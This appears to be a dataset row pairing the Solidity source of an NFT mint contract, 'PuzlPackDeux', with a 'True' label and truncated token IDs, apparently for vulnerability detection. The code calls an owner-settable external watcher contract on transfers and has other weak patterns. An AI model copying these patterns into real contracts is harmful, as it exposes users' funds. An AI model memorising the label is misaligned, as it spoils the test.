1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
// SPDX-License-Identifier: GPL-3.0
/*
PUZL Packs
*/
pragma solidity ^0.8.4;
/**
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.4;
/**
* @dev Contract module which provides access control
*
* the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* mapped to
* `onlyOwner`
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.4;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.4;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
pragma solidity ^0.8.4;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.4;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.4;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.4;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.4;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.4;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.4;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.4;
abstract contract ERC721P is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
string private _name;
string private _symbol;
address[] internal _owners;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
uint count = 0;
uint length = _owners.length;
for( uint i = 0; i < length; ++i ){
if( owner == _owners[i] ){
++count;
}
}
delete length;
return count;
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721P.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return tokenId < _owners.length && _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721P.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_owners.push(to);
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721P.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_owners[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721P.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721P.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
pragma solidity ^0.8.4;
abstract contract ERC721Enum is ERC721P, IERC721Enumerable {
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721P) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256 tokenId) {
require(index < ERC721P.balanceOf(owner), "ERC721Enum: owner ioob");
uint count;
for( uint i; i < _owners.length; ++i ){
if( owner == _owners[i] ){
if( count == index )
return i;
else
++count;
}
}
require(false, "ERC721Enum: owner ioob");
}
function tokensOfOwner(address owner) public view returns (uint256[] memory) {
require(0 < ERC721P.balanceOf(owner), "ERC721Enum: owner ioob");
uint256 tokenCount = balanceOf(owner);
uint256[] memory tokenIds = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(owner, i);
}
return tokenIds;
}
function totalSupply() public view virtual override returns (uint256) {
return _owners.length;
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enum.totalSupply(), "ERC721Enum: global ioob");
return index;
}
}
pragma solidity ^0.8.4;
interface IWatcher {
function watchTransfer(address _from, address _to, uint256 _tokenId) external;
}
contract PuzlPackDeux is ERC721Enum, Ownable, ReentrancyGuard {
using Strings for uint256;
//sale settings
uint256 constant private MAX_SUPPLY = 10000;
uint256 constant private MAX_PRESALE_MINT = 5;
uint256 private TEAM_RESERVE_AVAILABLE_MINTS = 1;
uint256 private COST = 0.00 ether;
uint256 private MAX_SALE_MINT = 20;
address public _trustedContract = 0x0000000000000000000000000000000000000000;
bool public isPresaleActive = false;
bool public isSaleActive = false;
//presale settings
mapping(address => bool) public presaleWhitelist;
mapping(address => uint256) public presaleWhitelistMints;
string private baseURI;
constructor(
string memory _name,
string memory _symbol
) ERC721P(_name, _symbol) {}
// internal
function _baseURI() internal view virtual returns (string memory) {
return baseURI;
}
function _publicSupply() internal view virtual returns (uint256) {
return MAX_SUPPLY - TEAM_RESERVE_AVAILABLE_MINTS;
}
function _transferNotice(address _from, address _to, uint256 _tokenId) internal {
if (_trustedContract != address(0)) {
IWatcher(_trustedContract).watchTransfer(_from, _to, _tokenId);
}
}
// external
function isWhitelisted (address _address) external view returns (bool) {
return presaleWhitelist[_address];
}
function setTrustedContract(address _contractAddress) public onlyOwner {
_trustedContract = _contractAddress;
}
function flipPresaleState() external onlyOwner {
isPresaleActive = !isPresaleActive;
}
function flipSaleState() external onlyOwner {
isSaleActive = !isSaleActive;
}
function mint(uint256 _mintAmount) external payable {
require(isSaleActive, "Sale is not active");
require(_mintAmount > 0, "Minted amount should be positive" );
require(_mintAmount <= MAX_SALE_MINT, "Minted amount exceeds sale limit" );
uint256 totalSupply = totalSupply();
require(totalSupply + _mintAmount <= _publicSupply(), "The requested amount exceeds the remaining supply" );
require(msg.value >= COST * _mintAmount);
for (uint256 i = 0; i < _mintAmount; i++) {
_safeMint(msg.sender, totalSupply + i);
}
}
function mintPresale(uint256 _mintAmount) external payable {
require(isPresaleActive, "Presale is not active");
require(presaleWhitelist[msg.sender], "Caller is not whitelisted");
uint256 totalSupply = totalSupply();
uint256 availableMints = MAX_PRESALE_MINT - presaleWhitelistMints[msg.sender];
require(_mintAmount <= availableMints, "Too many mints requested");
require(totalSupply + _mintAmount <= _publicSupply(), "The requested amount exceeds the remaining supply");
require(msg.value >= COST * _mintAmount , "Wrong amount provided");
presaleWhitelistMints[msg.sender] += _mintAmount;
for(uint256 i = 0; i < _mintAmount; i++){
_safeMint(msg.sender, totalSupply + i);
}
}
function withdraw() external onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
function addToWhitelist(address[] calldata _addresses) external onlyOwner {
for (uint256 i = 0; i < _addresses.length; i++) {
require(_addresses[i] != address(0), "Null address is not allowed");
presaleWhitelist[_addresses[i]] = true;
presaleWhitelistMints[_addresses[i]] > 0 ? presaleWhitelistMints[_addresses[i]] : 0;
}
}
function setCost(uint256 _newCost) external onlyOwner {
COST = _newCost;
}
function setMaxMintAmount(uint256 _newMaxMintAmount) external onlyOwner {
MAX_SALE_MINT = _newMaxMintAmount;
}
function tokenURI(uint256 _tokenId) external view virtual override returns (string memory) {
require(_exists(_tokenId), "ERC721Metadata: Nonexistent token");
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), ".json")) : "";
}
// admin minting
function reserve(address _to, uint256 _reserveAmount) public onlyOwner {
uint256 supply = totalSupply();
require(
_reserveAmount > 0 && _reserveAmount <= TEAM_RESERVE_AVAILABLE_MINTS,
"Not enough reserve left for team"
);
for (uint256 i = 0; i < _reserveAmount; i++) {
_safeMint(_to, supply + i);
}
TEAM_RESERVE_AVAILABLE_MINTS -= _reserveAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function transferFrom(address _from, address _to, uint256 _tokenId) public override {
ERC721P.transferFrom(_from, _to, _tokenId);
_transferNotice(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public override {
ERC721P.safeTransferFrom(_from, _to, _tokenId, _data);
_transferNotice(_from, _to, _tokenId);
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
1013,
1008,
16405,
2480,
2140,
15173,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
1013,
1008,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3206,
11336,
2029,
3640,
3229,
2491,
1008,
1008,
1996,
3954,
4070,
2097,
2022,
1996,
2028,
2008,
21296,
2015,
1996,
3206,
1012,
2023,
1008,
2064,
2101,
2022,
2904,
2007,
1063,
4651,
12384,
2545,
5605,
1065,
1012,
1008,
1008,
17715,
2000,
1008,
1036,
2069,
12384,
2121,
1036,
1008,
1013,
10061,
3206,
2219,
3085,
2003,
6123,
1063,
4769,
2797,
1035,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3988,
10057,
1996,
3206,
4292,
1996,
21296,
2121,
2004,
1996,
3988,
3954,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
1063,
1035,
2275,
12384,
2121,
1006,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4769,
1997,
1996,
2783,
3954,
1012,
1008,
1013,
3853,
3954,
1006,
1007,
2270,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
1035,
3954,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
11618,
2065,
2170,
2011,
2151,
4070,
2060,
2084,
1996,
3954,
1012,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
3954,
1006,
1007,
1027,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
1000,
2219,
3085,
1024,
20587,
2003,
2025,
1996,
3954,
1000,
1007,
1025,
1035,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
3727,
1996,
3206,
2302,
3954,
1012,
2009,
2097,
2025,
2022,
2825,
2000,
2655,
1008,
1036,
2069,
12384,
2121,
1036,
4972,
4902,
1012,
2064,
2069,
2022,
2170,
2011,
1996,
2783,
3954,
1012,
1008,
1008,
3602,
1024,
17738,
4609,
6129,
6095,
2097,
2681,
1996,
3206,
2302,
2019,
3954,
1010,
1008,
8558,
9268,
2151,
15380,
2008,
2003,
2069,
2800,
2000,
1996,
3954,
1012,
1008,
1013,
3853,
